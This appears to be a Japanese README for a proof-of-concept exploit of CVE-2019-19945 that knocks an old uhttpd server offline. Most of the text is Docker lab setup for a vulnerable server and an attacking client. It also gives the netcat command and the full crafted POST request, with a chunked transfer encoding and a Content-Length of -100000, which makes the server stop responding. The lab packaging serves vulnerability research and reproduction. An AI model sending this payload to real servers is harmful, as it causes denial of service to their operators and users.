
CVE-2019-19945 の概念実証エクスプロイト。負の Content-Length ヘッダーを持つ巧妙に細工された POST リクエストにより、uhttpd に対するサービス拒否攻撃を実証します。
これは最初に提案されたCVEのコードです。
Docker をインストール
サーバーのビルド&実行 cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
サーバーコンテナのIPを取得 Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" IPを抽出し、クライアントビルドのコマンドに追加します。 ブラウザで localhost:80 にアクセスしてサーバーを確認できます。
クライアントのビルド&実行 Client/Dockerfile の CMD をコメント解除すると、コンテナ起動時に攻撃が自動的に開始されます。 cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
CLient Docker にアタッチ docker container ls client/cve コンテナを見つけて && アタッチ docker exec -it /bin/sh
準備ができたら攻撃を開始 ./crash.sh
サーバーは応答できなくなります。
エクスプロイトが非常に短いため、コメント付きのソースコードを提供する意味はありません。
エクスプロイトは、Netcat を使用して、サーバーの cgi-bin/ ディレクトリ内のファイルの処理に関して、ネガティブな大きな Content-Length を含む POST リクエストを送信することで構成されています。
実行は簡単な netcat スクリプトを使用して行われます。ここでは、サーバーの CGI-bin フォルダにある Crash というファイルを参照しています。 nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
最大の課題は、古いバージョンの uhttpd を最新の Docker 環境で動作させることでした。